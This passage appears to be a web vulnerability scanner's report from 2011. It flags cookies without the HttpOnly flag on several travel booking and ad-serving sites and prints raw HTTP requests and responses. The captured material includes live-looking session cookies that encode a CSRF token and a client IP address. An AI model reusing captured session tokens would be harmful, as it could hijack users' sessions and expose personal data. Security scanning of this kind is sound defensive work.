The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Location: /Hotel.h894999.Hotel-Information?hashTag=roomsAndRates&&chkin=10/14/11&chkout=10/16/11&rm1=a2&icmcid=TRIPA.Expedia_US-H_B4.11893.T&icmdtl=MT1110027Z3xeMPeET6itK0Qu1f-JQAAU.894999.HDSSDeE.T.QCI.258705.ch.668.60745.en_US..&eapid=21187-1 Content-Length: 383 Content-Type: text/html Cache-Control: private Date: Mon, 03 Oct 2011 01:02:12 GMT Connection: close Vary: Accept-Encoding Set-Cookie: p1=`tpid=v.1,1`11; expires=Sun, 2-Oct-2016 00:00:01 GMT; domain=.expedia.com; path=/ Set-Cookie: iEAPID=21187; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/ Set-Cookie: s1=`EAPName=TripAdvisor`EAPBrandingFeature=0`EAPIsVisible=0`EAPIndustry=Other`MH=21187`EAPBrandingURL=`99; domain=.expedia.com; path=/
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="/Hotel.h894999.Hotel-Information?hashTag=roomsAndRates&&chkin=10/14/11&chkout=10/16/11 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Connection: keep-alive Status: 200 X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8 ETag: "c52e212f54eec4829ea5658dd625fe7e" P3P: CP="CAO DSP DEVa TAIa OUR BUS UNI NAV STA PRE LOC", policyref="/w3c/p3p.xml" X-Runtime: 489 Set-Cookie: show_pu=pageview=1&allowed=true&shown=false; path=/ Set-Cookie: www_session=BAh7CzoLc2VhcmNoaQM79eU6EWdlb19sb2NhdGlvbnsIOhFjb3VudHJ5X2NvZGUiB1VTOhJjdXJyZW5jeV9jb2RlIghVU0Q6EWNvdW50cnlfbmFtZSISVW5pdGVkIFN0YXRlczoPc2Vzc2lvbl9pZCIlNGYwYmM2NTg4ZGQ1NjhkZDAyNzJiNTc2ODQ4ZGU2ZjE6EF9jc3JmX3Rva2VuIjFUeFhFMHM5NXkzS2tHYTFGQmdhSGJxczRKT05qaU55SFFQOHJDWmJ6SVZBPSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoTcmVtb3RlX2FkZHJlc3MiEjUwLjIzLjEyMy4xMDY%3D--4a29eac522682a877f487f79d32005f0cda149f5; domain=.getaroom.com; path=/; HttpOnly Cache-Control: private, max-age=0, must-revalidate Server: nginx/0.8.55 + Phusion Passenger 3.0.8 (mod_rails/mod_rack) Content-Length: 8536
this.heading_update[this.deals_cache_index] = '<div id=\"deals_heading\"><h2>Hotel Deals of the Day · <span id=\"updated_deals_heading\">Washington DC<\/span><\/h2><\/div>';
The following cookie was issued by the application and does not have the HttpOnly flag set:
affiliate=032ea00e; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /searches/show?destination=+&check_in=10/09/2011&check_out=10/16/2011&num_guests=1&num_rooms=1&affiliate=032ea00e HTTP/1.1 Host: www.getaroom.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.trip.com/hotels.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Connection: keep-alive Status: 302 X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8 P3P: CP="CAO DSP DEVa TAIa OUR BUS UNI NAV STA PRE LOC", policyref="/w3c/p3p.xml" Location: http://www.getaroom.com/searches/show?check_in=10%2F09%2F2011&check_out=10%2F16%2F2011&destination=+&num_guests=1&num_rooms=1&utm_campaign=Affiliate&utm_medium=cpa&utm_source=away.com X-Runtime: 7 Content-Length: 277 Set-Cookie: affiliate=032ea00e; path=/ Set-Cookie: www_session=BAh7CzoLc2VhcmNoaQM79eU6EWdlb19sb2NhdGlvbnsIOhFjb3VudHJ5X2NvZGUiB1VTOhJjdXJyZW5jeV9jb2RlIghVU0Q6EWNvdW50cnlfbmFtZSISVW5pdGVkIFN0YXRlczoQX2NzcmZfdG9rZW4iMVR4WEUwczk1eTNLa0dhMUZCZ2FIYnFzNEpPTmppTnlIUVA4ckNaYnpJVkE9Og9zZXNzaW9uX2lkIiU0ZjBiYzY1ODhkZDU2OGRkMDI3MmI1NzY4NDhkZTZmMSIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsGOgtub3RpY2UiJlBsZWFzZSBlbnRlciBhIHZhbGlkIGRlc3RpbmF0aW9uLgY6CkB1c2VkewY7DVQ6E3JlbW90ZV9hZGRyZXNzIhI1MC4yMy4xMjMuMTA2--497837da868085a13e75b3c8521055c245269263; domain=.getaroom.com; path=/; HttpOnly Cache-Control: no-cache Server: nginx/0.8.55 + Phusion Passenger 3.0.8 (mod_rails/mod_rack)
<html><body>You are being <a href="http://www.getaroom.com/searches/show?check_in=10%2F09%2F2011&check_out=10%2F16%2F2011&destination=+&num_guests=1&num_rooms=1&utm_campaign=Affili ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:10:06 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:10:06 GMT;path=/ Vary: Accept-Encoding Content-Length: 225194
The following cookie was issued by the application and does not have the HttpOnly flag set:
LOCALE=en%5FUS;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:30:37 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58824
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head><title></title></head><body><p></p></body></html>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head><title></title></head><body><p></p></body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /hotel/search-options.jsp?sid=S250&bid=B260711&inputId=hotel-index&destCity=bos&startDay=09&startMonth=10&endDay=16&endMonth=10&noOfAdults=1&numRooms=1 HTTP/1.1 Host: www.hotwire.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.trip.com/hotels.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookie was issued by the application and does not have the HttpOnly flag set:
SL_UVId=2BC47F12FA5D4186;path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
SL_UVId=2BC47C1462303C7A;path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:27:02 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78193
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
shoptube_id=f6d10bcb0c; expires=Mon, 01 Oct 2012 23:50:23 GMT; Max-Age=31536000; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /widget/53d1ac1014/ HTTP/1.1 Host: www.luminate.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.goal.com/en/teams/england/97/man-utd-news Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.0 200 OK Date: Sun, 02 Oct 2011 23:50:23 GMT Server: Apache P3P: policyref="/w3c/p3p.xml", CP="NOI NID DEVa PSAa PSDa OUR OTR IND OTC" Expires: Sun, 02 Oct 2011 23:55:23 GMT Content-Type: application/javascript Cache-Control: private, max-age=300 Set-Cookie: shoptube_id=f6d10bcb0c; expires=Mon, 01 Oct 2012 23:50:23 GMT; Max-Age=31536000; Path=/ Vary: Accept-Encoding X-Cache: MISS from lb3-sv.int.pixazza.com X-Cache-Lookup: MISS from lb3-sv.int.pixazza.com:80 Via: 1.0 lb3-sv.int.pixazza.com:80 (squid/2.6.STABLE18) Connection: Keep-Alive
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=71A4AF1632EAB3B1F4E0C49149EEC65B|egapp27p|; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Mon, 03 Oct 2011 00:06:46 GMT Content-Length: 174769
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=6EA6F85923281CCF7F006954C370B1AB|egapp27p|"; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|BOS|MIA|10/11/11|||||||||10/24/11|10/24/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:37:17 GMT; Path=/ Set-Cookie: OrbitzRegistration="N,3,0,0"; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:37:17 GMT; Path=/ Date: Mon, 03 Oct 2011 00:37:16 GMT Content-Length: 3419
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=71A4AF1632EAB3B1F4E0C49149EEC65B|egapp27p|; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html ntCoent-Length: 960 Date: Mon, 03 Oct 2011 00:06:52 GMT Content-Length: 960
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=6EA6F85923281CCF7F006954C370B1AB|egapp27p|"; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Mon, 03 Oct 2011 00:37:19 GMT Content-Length: 492180
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=519x225&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1317600406535&dsrc=7&height=225&rotator=true&width=519&adType=script& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:48 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aebaa22-24733-1570161280-1; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 32 Content-Type: text/html; charset=UTF-8 Cache-Control: private Content-Length: 32 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=hometext1&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:48 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeb2422-10897-1302538563-3; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv002p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1048 Content-Type: text/html; charset=UTF-8 Cache-Control: private Content-Length: 1048 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
var copy = 'Top hotel deals of the week'; var url = 'http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=why-book-hotels&cnt=PRO' var target = '_parent'; // target is '_top' for internal links, ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=hometext2&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:49 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba921-13167-437180534-2; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv003p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" ntCoent-Length: 1068 Connection: close Content-Type: text/html; charset=UTF-8 Cache-Control: private Content-Length: 1068 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
var copy = 'Save up to 35% at eco-friendly hotels'; var url = 'http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=eco-vacations&cnt=PRO&type=qs_dl' var target = '_parent'; // target is '_top' f ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=hometext3&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:49 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba823-19234-1962717445-8; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1086 Content-Type: text/html; charset=UTF-8 Cache-Control: private Content-Length: 1086 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
var copy = 'Enjoy fall savings of up to 40% off hotels'; var url = 'http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=qs_dl' var target = '_parent'; // target is '_top' ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=hometextpkg&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:48 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeb2422-10897-1123568220-1; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv003p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1077 Content-Type: text/html; charset=UTF-8 Cache-Control: private Content-Length: 1077 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
var copy = 'Save up to 30% at Chicago hotels'; var url = 'http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=chicagovacation&cnt=PRO&type=qs_dl' var target = '_parent'; // target is '_top' for ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=120x55_footer&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7&height=55&width=120& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:49 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba823-17416-299776494-1; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" ntCoent-Length: 634 Content-Type: application/x-javascript Cache-Control: private Content-Length: 634 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
